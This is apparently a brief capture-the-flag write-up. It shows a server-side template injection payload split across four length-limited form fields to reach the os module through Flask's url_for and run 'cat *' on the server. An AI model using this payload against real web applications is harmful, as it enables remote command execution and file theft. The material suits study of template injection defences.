All fields are vulnurable to SSTI injection. But each is limited to maximum length of 21 chars.The trick I found is to use some of them to set useful references to one letter variables.Then exploit the {adjective}.{person} to access os popen command: 
verb: {%set a=url_for%}
noun: {%set b='cat *'%}
adjective: {{a.globals.os
person: popen(b).read()}}